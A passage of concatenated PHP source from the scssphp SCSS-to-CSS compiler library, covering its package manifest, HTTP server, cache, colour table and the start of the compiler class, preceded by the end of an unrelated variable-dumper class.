* Set the cloner used for dumping variables.
*
* @param AbstractCloner $cloner
*/
public function setCloner($cloner)
{
$this->cloner = $cloner;
}
/**
* Get the cloner used for dumping variables.
*
* @return AbstractCloner
*/
public function getCloner()
{
if (!$this->cloner) {
$this->cloner = new VarCloner();
}
return $this->cloner;
}
/**
* Set the application root path.
*
* @param string $applicationRootPath
*/
public function setApplicationRootPath($applicationRootPath)
{
$this->applicationRootPath = $applicationRootPath;
}
/**
* Return the application root path.
*
* @return string
*/
public function getApplicationRootPath()
{
return $this->applicationRootPath;
}
}
{
"name": "leafo/scssphp",
"type": "library",
"description": "scssphp is a compiler for SCSS written
in PHP.",
"keywords": ["css", "stylesheet",
"scss", "sass", "less"],
"homepage": "http://leafo.github.io/scssphp/",
"license": [
"MIT"
],
"authors": [
{
"name": "Leaf Corcoran",
"email": "leafot@gmail.com",
"homepage": "http://leafo.net"
}
],
"autoload": {
"psr-4": { "Leafo\\ScssPhp\\": "src/"
}
},
"autoload-dev": {
"psr-4": { "Leafo\\ScssPhp\\Test\\":
"tests/" }
},
"require": {
"php": "^5.4.0 || ^7"
},
"require-dev": {
"squizlabs/php_codesniffer": "~2.5",
"phpunit/phpunit": "~4.6",
"twbs/bootstrap": "~4.3",
"zurb/foundation": "~6.5"
},
"bin": ["bin/pscss"],
"archive": {
"exclude": [
"/Makefile",
"/.gitattributes",
"/.gitignore",
"/.travis.yml",
"/phpunit.xml.dist",
"/tests"
]
},
"abandoned": "scssphp/scssphp"
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2017 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Leafo\ScssPhp\Compiler;
use Leafo\ScssPhp\Exception\ServerException;
use Leafo\ScssPhp\Version;
/**
* Server
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Server
{
/**
* @var boolean
*/
private $showErrorsAsCSS;
/**
* @var string
*/
private $dir;
/**
* @var string
*/
private $cacheDir;
/**
* @var \Leafo\ScssPhp\Compiler
*/
private $scss;
/**
* Join path components
*
* @param string $left Path component, left of the directory separator
* @param string $right Path component, right of the directory
separator
*
* @return string
*/
protected function join($left, $right)
{
return rtrim($left, '/\\') . DIRECTORY_SEPARATOR .
ltrim($right, '/\\');
}
/**
* Get name of requested .scss file
*
* @return string|null
*/
protected function inputName()
{
switch (true) {
case isset($_GET['p']):
return $_GET['p'];
case isset($_SERVER['PATH_INFO']):
return $_SERVER['PATH_INFO'];
case isset($_SERVER['DOCUMENT_URI']):
return substr($_SERVER['DOCUMENT_URI'],
strlen($_SERVER['SCRIPT_NAME']));
}
}
/**
* Get path to requested .scss file
*
* @return string
*/
protected function findInput()
{
if (($input = $this->inputName())
&& strpos($input, '..') === false
&& substr($input, -5) === '.scss'
) {
$name = $this->join($this->dir, $input);
if (is_file($name) && is_readable($name)) {
return $name;
}
}
return false;
}
/**
* Get path to cached .css file
*
* @return string
*/
protected function cacheName($fname)
{
return $this->join($this->cacheDir, md5($fname) .
'.css');
}
/**
* Get path to meta data
*
* @return string
*/
protected function metadataName($out)
{
return $out . '.meta';
}
/**
* Determine whether .scss file needs to be re-compiled.
*
* @param string $out Output path
* @param string $etag ETag
*
* @return boolean True if compile required.
*/
protected function needsCompile($out, &$etag)
{
if (! is_file($out)) {
return true;
}
$mtime = filemtime($out);
$metadataName = $this->metadataName($out);
if (is_readable($metadataName)) {
$metadata = unserialize(file_get_contents($metadataName));
foreach ($metadata['imports'] as $import =>
$originalMtime) {
$currentMtime = filemtime($import);
if ($currentMtime !== $originalMtime || $currentMtime >
$mtime) {
return true;
}
}
$metaVars =
crc32(serialize($this->scss->getVariables()));
if ($metaVars !== $metadata['vars']) {
return true;
}
$etag = $metadata['etag'];
return false;
}
return true;
}
/**
* Get If-Modified-Since header from client request
*
* @return string|null
*/
protected function getIfModifiedSinceHeader()
{
$modifiedSince = null;
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])) {
$modifiedSince = $_SERVER['HTTP_IF_MODIFIED_SINCE'];
if (false !== ($semicolonPos = strpos($modifiedSince,
';'))) {
$modifiedSince = substr($modifiedSince, 0, $semicolonPos);
}
}
return $modifiedSince;
}
/**
* Get If-None-Match header from client request
*
* @return string|null
*/
protected function getIfNoneMatchHeader()
{
$noneMatch = null;
if (isset($_SERVER['HTTP_IF_NONE_MATCH'])) {
$noneMatch = $_SERVER['HTTP_IF_NONE_MATCH'];
}
return $noneMatch;
}
/**
* Compile .scss file
*
* @param string $in Input path (.scss)
* @param string $out Output path (.css)
*
* @return array
*/
protected function compile($in, $out)
{
$start = microtime(true);
$css = $this->scss->compile(file_get_contents($in), $in);
$elapsed = round((microtime(true) - $start), 4);
$v = Version::VERSION;
$t = gmdate('r');
$css = "/* compiled by scssphp $v on $t (${elapsed}s)
*/\n\n" . $css;
$etag = md5($css);
file_put_contents($out, $css);
file_put_contents(
$this->metadataName($out),
serialize([
'etag' => $etag,
'imports' =>
$this->scss->getParsedFiles(),
'vars' =>
crc32(serialize($this->scss->getVariables())),
])
);
return [$css, $etag];
}
/**
* Format error as a pseudo-element in CSS
*
* @param \Exception $error
*
* @return string
*/
protected function createErrorCSS(\Exception $error)
{
$message = str_replace(
["'", "\n"],
["\\'", "\\A"],
$error->getfile() . ":\n\n" .
$error->getMessage()
);
return "body { display: none !important; }
html:after {
background: white;
color: black;
content: '$message';
display: block !important;
font-family: mono;
padding: 1em;
white-space: pre;
}";
}
/**
* Render errors as a pseudo-element within valid CSS, displaying the
errors on any
* page that includes this CSS.
*
* @param boolean $show
*/
public function showErrorsAsCSS($show = true)
{
$this->showErrorsAsCSS = $show;
}
/**
* Compile .scss file
*
* @param string $in Input file (.scss)
* @param string $out Output file (.css) optional
*
* @return string|bool
*
* @throws \Leafo\ScssPhp\Exception\ServerException
*/
public function compileFile($in, $out = null)
{
if (! is_readable($in)) {
throw new ServerException('load error: failed to find
' . $in);
}
$pi = pathinfo($in);
$this->scss->addImportPath($pi['dirname'] .
'/');
$compiled = $this->scss->compile(file_get_contents($in),
$in);
if ($out !== null) {
return file_put_contents($out, $compiled);
}
return $compiled;
}
/**
* Check if file need compiling
*
* @param string $in Input file (.scss)
* @param string $out Output file (.css)
*
* @return bool
*/
public function checkedCompile($in, $out)
{
if (! is_file($out) || filemtime($in) > filemtime($out)) {
$this->compileFile($in, $out);
return true;
}
return false;
}
/**
* Compile requested scss and serve css. Outputs HTTP response.
*
* @param string $salt Prefix a string to the filename for creating the
cache name hash
*/
public function serve($salt = '')
{
$protocol = isset($_SERVER['SERVER_PROTOCOL'])
? $_SERVER['SERVER_PROTOCOL']
: 'HTTP/1.0';
if ($input = $this->findInput()) {
$output = $this->cacheName($salt . $input);
$etag = $noneMatch = trim($this->getIfNoneMatchHeader(),
'"');
if ($this->needsCompile($output, $etag)) {
try {
list($css, $etag) = $this->compile($input, $output);
$lastModified = gmdate('r',
filemtime($output));
header('Last-Modified: ' . $lastModified);
header('Content-type: text/css');
header('ETag: "' . $etag .
'"');
echo $css;
} catch (\Exception $e) {
if ($this->showErrorsAsCSS) {
header('Content-type: text/css');
echo $this->createErrorCSS($e);
} else {
header($protocol . ' 500 Internal Server
Error');
header('Content-type: text/plain');
echo 'Parse error: ' .
$e->getMessage() . "\n";
}
}
return;
}
header('X-SCSS-Cache: true');
header('Content-type: text/css');
header('ETag: "' . $etag . '"');
if ($etag === $noneMatch) {
header($protocol . ' 304 Not Modified');
return;
}
$modifiedSince = $this->getIfModifiedSinceHeader();
$mtime = filemtime($output);
if (strtotime($modifiedSince) === $mtime) {
header($protocol . ' 304 Not Modified');
return;
}
$lastModified = gmdate('r', $mtime);
header('Last-Modified: ' . $lastModified);
echo file_get_contents($output);
return;
}
header($protocol . ' 404 Not Found');
header('Content-type: text/plain');
$v = Version::VERSION;
echo "/* INPUT NOT FOUND scss $v */\n";
}
/**
* Based on explicit input/output files does a full change check on
cache before compiling.
*
* @param string $in
* @param string $out
* @param boolean $force
*
* @return string Compiled CSS results
*
* @throws \Leafo\ScssPhp\Exception\ServerException
*/
public function checkedCachedCompile($in, $out, $force = false)
{
if (! is_file($in) || ! is_readable($in)) {
throw new ServerException('Invalid or unreadable input
file specified.');
}
if (is_dir($out) || ! is_writable(file_exists($out) ? $out :
dirname($out))) {
throw new ServerException('Invalid or unwritable output
file specified.');
}
if ($force || $this->needsCompile($out, $etag)) {
list($css, $etag) = $this->compile($in, $out);
} else {
$css = file_get_contents($out);
}
return $css;
}
/**
* Execute scssphp on a .scss file or a scssphp cache structure
*
* The scssphp cache structure contains information about a specific
* scss file having been parsed. It can be used as a hint for future
* calls to determine whether or not a rebuild is required.
*
* The cache structure contains two important keys that may be used
* externally:
*
* compiled: The final compiled CSS
* updated: The time (in seconds) the CSS was last compiled
*
* The cache structure is a plain-ol' PHP associative array and
can
* be serialized and unserialized without a hitch.
*
* @param mixed $in Input
* @param boolean $force Force rebuild?
*
* @return array scssphp cache structure
*/
public function cachedCompile($in, $force = false)
{
// assume no root
$root = null;
if (is_string($in)) {
$root = $in;
} elseif (is_array($in) and isset($in['root'])) {
if ($force or ! isset($in['files'])) {
// If we are forcing a recompile or if for some reason the
// structure does not contain any file information we
should
// specify the root to trigger a rebuild.
$root = $in['root'];
} elseif (isset($in['files']) and
is_array($in['files'])) {
foreach ($in['files'] as $fname => $ftime) {
if (! file_exists($fname) or filemtime($fname) >
$ftime) {
// One of the files we knew about previously has
changed
// so we should look at our incoming root again.
$root = $in['root'];
break;
}
}
}
} else {
// TODO: Throw an exception? We got neither a string nor
something
// that looks like a compatible lessphp cache structure.
return null;
}
if ($root !== null) {
// If we have a root value which means we should rebuild.
$out = [];
$out['root'] = $root;
$out['compiled'] = $this->compileFile($root);
$out['files'] = $this->scss->getParsedFiles();
$out['updated'] = time();
return $out;
} else {
// No changes, pass back the structure
// we were given initially.
return $in;
}
}
/**
* Constructor
*
* @param string $dir Root directory to
.scss files
* @param string $cacheDir Cache directory
* @param \Leafo\ScssPhp\Compiler|null $scss SCSS compiler instance
*/
public function __construct($dir, $cacheDir = null, $scss = null)
{
$this->dir = $dir;
if (! isset($cacheDir)) {
$cacheDir = $this->join($dir, 'scss_cache');
}
$this->cacheDir = $cacheDir;
if (! is_dir($this->cacheDir)) {
throw new ServerException('Cache directory doesn\'t
exist: ' . $cacheDir);
}
if (! isset($scss)) {
$scss = new Compiler();
$scss->setImportPaths($this->dir);
}
$this->scss = $scss;
$this->showErrorsAsCSS = false;
date_default_timezone_set('UTC');
}
}
<?php
if (version_compare(PHP_VERSION, '5.4') < 0) {
throw new \Exception('scssphp requires PHP 5.4 or above');
}
if (! class_exists('Leafo\ScssPhp\Version', false)) {
include_once __DIR__ . '/src/Base/Range.php';
include_once __DIR__ . '/src/Block.php';
include_once __DIR__ . '/src/Cache.php';
include_once __DIR__ . '/src/Colors.php';
include_once __DIR__ . '/src/Compiler.php';
include_once __DIR__ . '/src/Compiler/Environment.php';
include_once __DIR__ .
'/src/Exception/CompilerException.php';
include_once __DIR__ . '/src/Exception/ParserException.php';
include_once __DIR__ . '/src/Exception/RangeException.php';
include_once __DIR__ . '/src/Exception/ServerException.php';
include_once __DIR__ . '/src/Formatter.php';
include_once __DIR__ . '/src/Formatter/Compact.php';
include_once __DIR__ . '/src/Formatter/Compressed.php';
include_once __DIR__ . '/src/Formatter/Crunched.php';
include_once __DIR__ . '/src/Formatter/Debug.php';
include_once __DIR__ . '/src/Formatter/Expanded.php';
include_once __DIR__ . '/src/Formatter/Nested.php';
include_once __DIR__ . '/src/Formatter/OutputBlock.php';
include_once __DIR__ . '/src/Node.php';
include_once __DIR__ . '/src/Node/Number.php';
include_once __DIR__ . '/src/Parser.php';
include_once __DIR__ . '/src/SourceMap/Base64.php';
include_once __DIR__ . '/src/SourceMap/Base64VLQ.php';
include_once __DIR__ .
'/src/SourceMap/SourceMapGenerator.php';
include_once __DIR__ . '/src/Type.php';
include_once __DIR__ . '/src/Util.php';
include_once __DIR__ . '/src/Version.php';
}
<?php
/**
* SCSSPHP
*
* @copyright 2015-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Base;
/**
* Range
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Range
{
public $first;
public $last;
/**
* Initialize range
*
* @param integer|float $first
* @param integer|float $last
*/
public function __construct($first, $last)
{
$this->first = $first;
$this->last = $last;
}
/**
* Test for inclusion in range
*
* @param integer|float $value
*
* @return boolean
*/
public function includes($value)
{
return $value >= $this->first && $value <=
$this->last;
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
/**
* Block
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Block
{
/**
* @var string
*/
public $type;
/**
* @var \Leafo\ScssPhp\Block
*/
public $parent;
/**
* @var string
*/
public $sourceName;
/**
* @var integer
*/
public $sourceIndex;
/**
* @var integer
*/
public $sourceLine;
/**
* @var integer
*/
public $sourceColumn;
/**
* @var array
*/
public $selectors;
/**
* @var array
*/
public $comments;
/**
* @var array
*/
public $children;
/**
* @var \Leafo\ScssPhp\Block
*/
public $selfParent;
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Exception;
/**
* The scss cache manager.
*
* In short:
*
* allow to put in cache/get from cache a generic result from a known
operation on a generic dataset,
* taking in account options that affects the result
*
* The cache manager is agnostic about data format and only the operation
is expected to be described by string
*
*/
/**
* SCSS cache
*
* @author Cedric Morin
*/
class Cache
{
const CACHE_VERSION = 0;
// directory used for storing data
public static $cacheDir = false;
// prefix for the storing data
public static $prefix = 'scssphp_';
// force a refresh : 'once' for refreshing the first hit on a
cache only, true to never use the cache in this hit
public static $forceFefresh = false;
// specifies the number of seconds after which data cached will be seen
as 'garbage' and potentially cleaned up
public static $gcLifetime = 604800;
// array of already refreshed cache if $forceFefresh==='once'
protected static $refreshed = [];
/**
* Constructor
*
* @param array $options
*/
public function __construct($options)
{
// check $cacheDir
if (isset($options['cache_dir'])) {
self::$cacheDir = $options['cache_dir'];
}
if (empty(self::$cacheDir)) {
throw new Exception('cache_dir not set');
}
if (isset($options['prefix'])) {
self::$prefix = $options['prefix'];
}
if (empty(self::$prefix)) {
throw new Exception('prefix not set');
}
if (isset($options['forceRefresh'])) {
self::$forceFefresh = $options['force_refresh'];
}
self::checkCacheDir();
}
/**
* Get the cached result of $operation on $what,
* which is known as dependant from the content of $options
*
* @param string $operation parse, compile...
* @param mixed $what content key (e.g., filename to be
treated)
* @param array $options any option that affect the operation
result on the content
* @param integer $lastModified last modified timestamp
*
* @return mixed
*
* @throws \Exception
*/
public function getCache($operation, $what, $options = [],
$lastModified = null)
{
$fileCache = self::$cacheDir . self::cacheName($operation, $what,
$options);
if ((! self::$forceRefresh || (self::$forceRefresh ===
'once' && isset(self::$refreshed[$fileCache])))
&& file_exists($fileCache)
) {
$cacheTime = filemtime($fileCache);
if ((is_null($lastModified) || $cacheTime > $lastModified)
&& $cacheTime + self::$gcLifetime > time()
) {
$c = file_get_contents($fileCache);
$c = unserialize($c);
if (is_array($c) && isset($c['value'])) {
return $c['value'];
}
}
}
return null;
}
/**
* Put in cache the result of $operation on $what,
* which is known as dependant from the content of $options
*
* @param string $operation
* @param mixed $what
* @param mixed $value
* @param array $options
*/
public function setCache($operation, $what, $value, $options = [])
{
$fileCache = self::$cacheDir . self::cacheName($operation, $what,
$options);
$c = ['value' => $value];
$c = serialize($c);
file_put_contents($fileCache, $c);
if (self::$forceRefresh === 'once') {
self::$refreshed[$fileCache] = true;
}
}
/**
* Get the cache name for the caching of $operation on $what,
* which is known as dependant from the content of $options
*
* @param string $operation
* @param mixed $what
* @param array $options
*
* @return string
*/
private static function cacheName($operation, $what, $options = [])
{
$t = [
'version' => self::CACHE_VERSION,
'operation' => $operation,
'what' => $what,
'options' => $options
];
$t = self::$prefix
. sha1(json_encode($t))
. ".$operation"
. ".scsscache";
return $t;
}
/**
* Check that the cache dir exists and is writeable
*
* @throws \Exception
*/
public static function checkCacheDir()
{
self::$cacheDir = str_replace('\\', '/',
self::$cacheDir);
self::$cacheDir = rtrim(self::$cacheDir, '/') .
'/';
if (! file_exists(self::$cacheDir)) {
if (! mkdir(self::$cacheDir)) {
throw new Exception('Cache directory couldn\'t be
created: ' . self::$cacheDir);
}
} elseif (! is_dir(self::$cacheDir)) {
throw new Exception('Cache directory doesn\'t exist:
' . self::$cacheDir);
} elseif (! is_writable(self::$cacheDir)) {
throw new Exception('Cache directory isn\'t writable:
' . self::$cacheDir);
}
}
/**
* Delete unused cached files
*/
public static function cleanCache()
{
static $clean = false;
if ($clean || empty(self::$cacheDir)) {
return;
}
$clean = true;
// only remove files with extensions created by SCSSPHP Cache
// css files removed based on the list files
$removeTypes = ['scsscache' => 1];
$files = scandir(self::$cacheDir);
if (! $files) {
return;
}
$checkTime = time() - self::$gcLifetime;
foreach ($files as $file) {
// don't delete if the file wasn't created with
SCSSPHP Cache
if (strpos($file, self::$prefix) !== 0) {
continue;
}
$parts = explode('.', $file);
$type = array_pop($parts);
if (! isset($removeTypes[$type])) {
continue;
}
$fullPath = self::$cacheDir . $file;
$mtime = filemtime($fullPath);
// don't delete if it's a relatively new file
if ($mtime > $checkTime) {
continue;
}
unlink($fullPath);
}
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
/**
* CSS Colors
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Colors
{
/**
* CSS Colors
*
* @see http://www.w3.org/TR/css3-color
*
* @var array
*/
public static $cssColors = [
'aliceblue' => '240,248,255',
'antiquewhite' => '250,235,215',
'aqua' => '0,255,255',
'aquamarine' => '127,255,212',
'azure' => '240,255,255',
'beige' => '245,245,220',
'bisque' => '255,228,196',
'black' => '0,0,0',
'blanchedalmond' => '255,235,205',
'blue' => '0,0,255',
'blueviolet' => '138,43,226',
'brown' => '165,42,42',
'burlywood' => '222,184,135',
'cadetblue' => '95,158,160',
'chartreuse' => '127,255,0',
'chocolate' => '210,105,30',
'coral' => '255,127,80',
'cornflowerblue' => '100,149,237',
'cornsilk' => '255,248,220',
'crimson' => '220,20,60',
'cyan' => '0,255,255',
'darkblue' => '0,0,139',
'darkcyan' => '0,139,139',
'darkgoldenrod' => '184,134,11',
'darkgray' => '169,169,169',
'darkgreen' => '0,100,0',
'darkgrey' => '169,169,169',
'darkkhaki' => '189,183,107',
'darkmagenta' => '139,0,139',
'darkolivegreen' => '85,107,47',
'darkorange' => '255,140,0',
'darkorchid' => '153,50,204',
'darkred' => '139,0,0',
'darksalmon' => '233,150,122',
'darkseagreen' => '143,188,143',
'darkslateblue' => '72,61,139',
'darkslategray' => '47,79,79',
'darkslategrey' => '47,79,79',
'darkturquoise' => '0,206,209',
'darkviolet' => '148,0,211',
'deeppink' => '255,20,147',
'deepskyblue' => '0,191,255',
'dimgray' => '105,105,105',
'dimgrey' => '105,105,105',
'dodgerblue' => '30,144,255',
'firebrick' => '178,34,34',
'floralwhite' => '255,250,240',
'forestgreen' => '34,139,34',
'fuchsia' => '255,0,255',
'gainsboro' => '220,220,220',
'ghostwhite' => '248,248,255',
'gold' => '255,215,0',
'goldenrod' => '218,165,32',
'gray' => '128,128,128',
'green' => '0,128,0',
'greenyellow' => '173,255,47',
'grey' => '128,128,128',
'honeydew' => '240,255,240',
'hotpink' => '255,105,180',
'indianred' => '205,92,92',
'indigo' => '75,0,130',
'ivory' => '255,255,240',
'khaki' => '240,230,140',
'lavender' => '230,230,250',
'lavenderblush' => '255,240,245',
'lawngreen' => '124,252,0',
'lemonchiffon' => '255,250,205',
'lightblue' => '173,216,230',
'lightcoral' => '240,128,128',
'lightcyan' => '224,255,255',
'lightgoldenrodyellow' => '250,250,210',
'lightgray' => '211,211,211',
'lightgreen' => '144,238,144',
'lightgrey' => '211,211,211',
'lightpink' => '255,182,193',
'lightsalmon' => '255,160,122',
'lightseagreen' => '32,178,170',
'lightskyblue' => '135,206,250',
'lightslategray' => '119,136,153',
'lightslategrey' => '119,136,153',
'lightsteelblue' => '176,196,222',
'lightyellow' => '255,255,224',
'lime' => '0,255,0',
'limegreen' => '50,205,50',
'linen' => '250,240,230',
'magenta' => '255,0,255',
'maroon' => '128,0,0',
'mediumaquamarine' => '102,205,170',
'mediumblue' => '0,0,205',
'mediumorchid' => '186,85,211',
'mediumpurple' => '147,112,219',
'mediumseagreen' => '60,179,113',
'mediumslateblue' => '123,104,238',
'mediumspringgreen' => '0,250,154',
'mediumturquoise' => '72,209,204',
'mediumvioletred' => '199,21,133',
'midnightblue' => '25,25,112',
'mintcream' => '245,255,250',
'mistyrose' => '255,228,225',
'moccasin' => '255,228,181',
'navajowhite' => '255,222,173',
'navy' => '0,0,128',
'oldlace' => '253,245,230',
'olive' => '128,128,0',
'olivedrab' => '107,142,35',
'orange' => '255,165,0',
'orangered' => '255,69,0',
'orchid' => '218,112,214',
'palegoldenrod' => '238,232,170',
'palegreen' => '152,251,152',
'paleturquoise' => '175,238,238',
'palevioletred' => '219,112,147',
'papayawhip' => '255,239,213',
'peachpuff' => '255,218,185',
'peru' => '205,133,63',
'pink' => '255,192,203',
'plum' => '221,160,221',
'powderblue' => '176,224,230',
'purple' => '128,0,128',
'rebeccapurple' => '102,51,153',
'red' => '255,0,0',
'rosybrown' => '188,143,143',
'royalblue' => '65,105,225',
'saddlebrown' => '139,69,19',
'salmon' => '250,128,114',
'sandybrown' => '244,164,96',
'seagreen' => '46,139,87',
'seashell' => '255,245,238',
'sienna' => '160,82,45',
'silver' => '192,192,192',
'skyblue' => '135,206,235',
'slateblue' => '106,90,205',
'slategray' => '112,128,144',
'slategrey' => '112,128,144',
'snow' => '255,250,250',
'springgreen' => '0,255,127',
'steelblue' => '70,130,180',
'tan' => '210,180,140',
'teal' => '0,128,128',
'thistle' => '216,191,216',
'tomato' => '255,99,71',
'transparent' => '0,0,0,0',
'turquoise' => '64,224,208',
'violet' => '238,130,238',
'wheat' => '245,222,179',
'white' => '255,255,255',
'whitesmoke' => '245,245,245',
'yellow' => '255,255,0',
'yellowgreen' => '154,205,50',
];
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Compiler;
/**
* Compiler environment
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Environment
{
/**
* @var \Leafo\ScssPhp\Block
*/
public $block;
/**
* @var \Leafo\ScssPhp\Compiler\Environment
*/
public $parent;
/**
* @var array
*/
public $store;
/**
* @var array
*/
public $storeUnreduced;
/**
* @var integer
*/
public $depth;
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Leafo\ScssPhp\Base\Range;
use Leafo\ScssPhp\Block;
use Leafo\ScssPhp\Cache;
use Leafo\ScssPhp\Colors;
use Leafo\ScssPhp\Compiler\Environment;
use Leafo\ScssPhp\Exception\CompilerException;
use Leafo\ScssPhp\Formatter\OutputBlock;
use Leafo\ScssPhp\Node;
use Leafo\ScssPhp\SourceMap\SourceMapGenerator;
use Leafo\ScssPhp\Type;
use Leafo\ScssPhp\Parser;
use Leafo\ScssPhp\Util;
/**
* The scss compiler and parser.
*
* Converting SCSS to CSS is a three stage process. The incoming file is
parsed
* by `Parser` into a syntax tree, then it is compiled into another tree
* representing the CSS structure by `Compiler`. The CSS tree is fed into a
* formatter, like `Formatter` which then outputs CSS as a string.
*
* During the first compile, all values are *reduced*, which means that
their
* types are brought to the lowest form before being dump as strings. This
* handles math equations, variable dereferences, and the like.
*
* The `compile` function of `Compiler` is the entry point.
*
* In summary:
*
* The `Compiler` class creates an instance of the parser, feeds it SCSS
code,
* then transforms the resulting tree to a CSS tree. This class also holds
the
* evaluation context, such as all available mixins and variables at any
given
* time.
*
* The `Parser` class is only concerned with parsing its input.
*
* The `Formatter` takes a CSS tree, and dumps it to a formatted string,
* handling things like indentation.
*/
/**
* SCSS compiler
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Compiler
{
const LINE_COMMENTS = 1;
const DEBUG_INFO = 2;
const WITH_RULE = 1;
const WITH_MEDIA = 2;
const WITH_SUPPORTS = 4;
const WITH_ALL = 7;
const SOURCE_MAP_NONE = 0;
const SOURCE_MAP_INLINE = 1;
const SOURCE_MAP_FILE = 2;
/**
* @var array
*/
static protected $operatorNames = [
'+' => 'add',
'-' => 'sub',
'*' => 'mul',
'/' => 'div',
'%' => 'mod',
'==' => 'eq',
'!=' => 'neq',
'<' => 'lt',
'>' => 'gt',
'<=' => 'lte',
'>=' => 'gte',
'<=>' => 'cmp',
];
/**
* @var array
*/
static protected $namespaces = [
'special' => '%',
'mixin' => '@',
'function' => '^',
];
static public $true = [Type::T_KEYWORD, 'true'];
static public $false = [Type::T_KEYWORD, 'false'];
static public $null = [Type::T_NULL];
static public $nullString = [Type::T_STRING, '', []];
static public $defaultValue = [Type::T_KEYWORD, ''];
static public $selfSelector = [Type::T_SELF];
static public $emptyList = [Type::T_LIST, '', []];
static public $emptyMap = [Type::T_MAP, [], []];
static public $emptyString = [Type::T_STRING, '"', []];
static public $with = [Type::T_KEYWORD, 'with'];
static public $without = [Type::T_KEYWORD, 'without'];
protected $importPaths = [''];
protected $importCache = [];
protected $importedFiles = [];
protected $userFunctions = [];
protected $registeredVars = [];
protected $registeredFeatures = [
'extend-selector-pseudoclass' => false,
'at-error' => true,
'units-level-3' => false,
'global-variable-shadowing' => false,
];
protected $encoding = null;
protected $lineNumberStyle = null;
protected $sourceMap = self::SOURCE_MAP_NONE;
protected $sourceMapOptions = [];
/**
* @var string|\Leafo\ScssPhp\Formatter
*/
protected $formatter = 'Leafo\ScssPhp\Formatter\Nested';
protected $rootEnv;
protected $rootBlock;
/**
* @var \Leafo\ScssPhp\Compiler\Environment
*/
protected $env;
protected $scope;
protected $storeEnv;
protected $charsetSeen;
protected $sourceNames;
protected $cache;
protected $indentLevel;
protected $extends;
protected $extendsMap;
protected $parsedFiles;
protected $parser;
protected $sourceIndex;
protected $sourceLine;
protected $sourceColumn;
protected $stderr;
protected $shouldEvaluate;
protected $ignoreErrors;
protected $callStack = [];
/**
* Constructor
*/
public function __construct($cacheOptions = null)
{
$this->parsedFiles = [];
$this->sourceNames = [];
if ($cacheOptions) {
$this->cache = new Cache($cacheOptions);
}
}
public function getCompileOptions()
{
$options = [
'importPaths' => $this->importPaths,
'registeredVars' => $this->registeredVars,
'registeredFeatures' =>
$this->registeredFeatures,
'encoding' => $this->encoding,
'sourceMap' =>
serialize($this->sourceMap),
'sourceMapOptions' =>
$this->sourceMapOptions,
'formatter' => $this->formatter,
];
return $options;
}
/**
* Compile scss
*
* @api
*
* @param string $code
* @param string $path
*
* @return string
*/
public function compile($code, $path = null)
{
if ($this->cache) {
$cacheKey = ($path ? $path : "(stdin)") .
":" . md5($code);
$compileOptions = $this->getCompileOptions();
$cache = $this->cache->getCache("compile",
$cacheKey, $compileOptions);
if (is_array($cache)
&& isset($cache['dependencies'])
&& isset($cache['out'])
) {
// check if any dependency file changed before accepting
the cache
foreach ($cache['dependencies'] as $file =>
$mtime) {
if (! file_exists($file)
|| filemtime($file) !== $mtime
) {
unset($cache);
break;
}
}
if (isset($cache)) {
return $cache['out'];
}
}
}
$this->indentLevel = -1;
$this->extends = [];
$this->extendsMap = [];
$this->sourceIndex = null;
$this->sourceLine = null;
$this->sourceColumn = null;
$this->env = null;
$this->scope = null;
$this->storeEnv = null;
$this->charsetSeen = null;
$this->shouldEvaluate = null;
$this->stderr = fopen('php://stderr',
'w');
$this->parser = $this->parserFactory($path);
$tree = $this->parser->parse($code);
$this->parser = null;
$this->formatter = new $this->formatter();
$this->rootBlock = null;
$this->rootEnv = $this->pushEnv($tree);
$this->injectVariables($this->registeredVars);
$this->compileRoot($tree);
$this->popEnv();
$sourceMapGenerator = null;
if ($this->sourceMap) {
if (is_object($this->sourceMap) &&
$this->sourceMap instanceof SourceMapGenerator) {
$sourceMapGenerator = $this->sourceMap;
$this->sourceMap = self::SOURCE_MAP_FILE;
} elseif ($this->sourceMap !== self::SOURCE_MAP_NONE) {
$sourceMapGenerator = new
SourceMapGenerator($this->sourceMapOptions);
}
}
$out = $this->formatter->format($this->scope,
$sourceMapGenerator);
if (! empty($out) && $this->sourceMap &&
$this->sourceMap !== self::SOURCE_MAP_NONE) {
$sourceMap = $sourceMapGenerator->generateJson();
$sourceMapUrl = null;
switch ($this->sourceMap) {
case self::SOURCE_MAP_INLINE:
$sourceMapUrl =
sprintf('data:application/json,%s',
Util::encodeURIComponent($sourceMap));
break;
case self::SOURCE_MAP_FILE:
$sourceMapUrl =
$sourceMapGenerator->saveMap($sourceMap);
break;
}
$out .= sprintf('/*# sourceMappingURL=%s */',
$sourceMapUrl);
}
if ($this->cache && isset($cacheKey) &&
isset($compileOptions)) {
$v = [
'dependencies' => $this->getParsedFiles(),
'out' => &$out,
];
$this->cache->setCache("compile", $cacheKey,
$v, $compileOptions);
}
return $out;
}
/**
* Instantiate parser
*
* @param string $path
*
